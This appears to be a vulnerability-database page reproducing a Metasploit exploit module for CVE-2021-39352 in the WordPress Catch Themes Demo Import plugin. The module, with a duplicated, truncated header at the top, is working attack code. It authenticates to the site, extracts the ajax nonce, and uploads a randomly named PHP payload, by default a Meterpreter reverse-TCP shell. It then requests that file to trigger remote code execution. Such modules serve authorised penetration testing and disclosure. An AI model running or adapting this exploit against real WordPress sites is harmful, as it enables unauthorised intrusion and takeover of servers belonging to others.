Vulnerabilities

WordPress Catch Themes Demo Import Shell Upload

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exp ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wordpress Plugin Catch Themes Demo Import RCE',
'Description' => %q{
The Wordpress Plugin Catch Themes Demo Import versions < 1.8 are vulnerable to authenticated
arbitrary file uploads via the import functionality found in the
~/inc/CatchThemesDemoImport.php file, due to insufficient file type validation.
Re-exploitation may need a reboot of the server, or to wait an arbitrary timeout.
During testing this timeout was roughly 5min.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Ron Jost', # edb
'Thinkland Security Team' # listed on wordfence's site
],
'References' => [
[ 'EDB', '50580' ],
[ 'CVE', '2021-39352' ],
[ 'URL', 'https://plugins.trac.wordpress.org/changeset/2617555/catch-themes-demo-import/trunk/inc/CatchThemesDemoImport.php' ],
[ 'URL', 'https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39352' ],
[ 'WPVDB', '781f2ff4-cb94-40d7-96cb-90128daed862' ]
],
'Platform' => ['php'],
'Privileged' => false,
'Arch' => ARCH_PHP,
'Targets' => [
[ 'Automatic Target', {}]
],
# we leave this out as typically php.ini will bail before 350mb, and payloads are small enough to fit as is.
# 'Payload' =>
# {
# # https://plugins.trac.wordpress.org/browser/catch-themes-demo-import/tags/1.6.1/inc/CatchThemesDemoImport.php#L226
# 'Space' => 367_001_600, # 350mb
# }
'DisclosureDate' => '2021-10-21',
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
},
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
# https://support.shufflehound.com/forums/topic/i-cant-use-the-one-click-demo-installer/#post-31770
# re-exploitation may need a reboot of the server, or to wait an arbitrary timeout.
'Reliability' => [ UNRELIABLE_SESSION ]
}
)
)

register_options [
OptString.new('USERNAME', [true, 'Username of the account', 'admin']),
OptString.new('PASSWORD', [true, 'Password of the account', 'admin']),
OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']),
]
end

def check
return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online?

checkcode = check_plugin_version_from_readme('catch-themes-demo-import', '1.8')
if checkcode == CheckCode::Safe
print_error('catch-themes-demo-import not a vulnerable version')
end
checkcode
end

def exploit
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])

if cookie.nil?
vprint_error('Invalid login, check credentials')
return
end

# grab the ajax_nonce
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'themes.php'),
'method' => 'GET',
'cookie' => cookie,
'keep_cookies' => 'false', # for some reason wordpress gives back an unauth cookie here, so ignore it.
'vars_get' => {
'page' => 'catch-themes-demo-import'
}
})
fail_with(Failure::Unreachable, 'Site not responding') unless res
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
/"ajax_nonce":"(?<ajax_nonce>[a-z0-9]{10})"/ =~ res.body
fail_with(Failure::UnexpectedReply, 'Unable to find ajax_nonce on page') unless ajax_nonce
vprint_status("Ajax Nonce: #{ajax_nonce}")

random_filename = "#{rand_text_alphanumeric(6..12)}.php"
vprint_status("Uploading payload filename: #{random_filename}")

multipart_form = Rex::MIME::Message.new
multipart_form.add_part('ctdi_import_demo_data', nil, nil, 'form-data; name="action"')
multipart_form.add_part(ajax_nonce, nil, nil, 'form-data; name="security"')
multipart_form.add_part('undefined', nil, nil, 'form-data; name="selected"')
multipart_form.add_part(
payload.encoded,
'application/x-php',
nil,
"form-data; name="content_file"; filename="#{random_filename}""
)

res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
'method' => 'POST',
'cookie' => cookie,
'keep_cookies' => 'true',
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
'data' => multipart_form.to_s
)
fail_with(Failure::Unreachable, 'Site not responding') unless res
fail_with(Failure::UnexpectedReply, 'Plugin not ready to process new payloads. Please retry in a few minutes.') if res.code == 200 && res.body.include?('afterAllImportAJAX')
fail_with(Failure::UnexpectedReply, 'Failed to upload payload') unless res.code == 500
# yes, a 500. We uploaded a malformed item, so when it tries to import it, it fails. This
# is actually positive as it won't display a malformed item anywhere in the UI. Simply writes our payload, then exits (non-gracefully)
#
# [Fri Dec 24 16:48:00.904980 2021] [php7:error] [pid 440128] [client 192.168.2.199:38107] PHP Fatal error: Uncaught Error: Class 'XMLReader' not found in /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/vendor/catchthemes/wp-content-importer-v2/src/WXRImporter.php:123
# Stack trace:
# #0 /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/vendor/catchthemes/wp-content-importer-v2/src/WXRImporter.php(331): CatchThemes\WPContentImporter2\WXRImporter->get_reader()
# #1 /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/inc/Importer.php(80): CatchThemes\WPContentImporter2\WXRImporter->import()
# #2 /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/inc/Importer.php(137): CTDI\Importer->import()
# #3 /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/inc/CatchThemesDemoImport.php(306): CTDI\Importer->import_content()
# #4 /var/www/wordpress/wp-includes/class-wp-hook.php(292): CTDI\CatchThemesDemoImport->import_demo_data_ajax_callback()
# #5 /var/www/wordpress/wp-includes/class-wp-hook.php(316): WP_Hook->apply_filters()
# #6 /var/www/wordpress/wp-includes/plugin.php(484): WP_ in /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/vendor/catchthemes/wp-content-importer-v2/src/WXRImporter.php on line 123
register_file_for_cleanup(random_filename)
month = Date.today.month.to_s.rjust(2, '0')
print_status("Triggering payload at wp-content/uploads/#{Date.today.year}/#{month}/#{random_filename}")
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', Date.today.year, month, random_filename),
'method' => 'GET',
'keep_cookies' => 'true'
)
end
end

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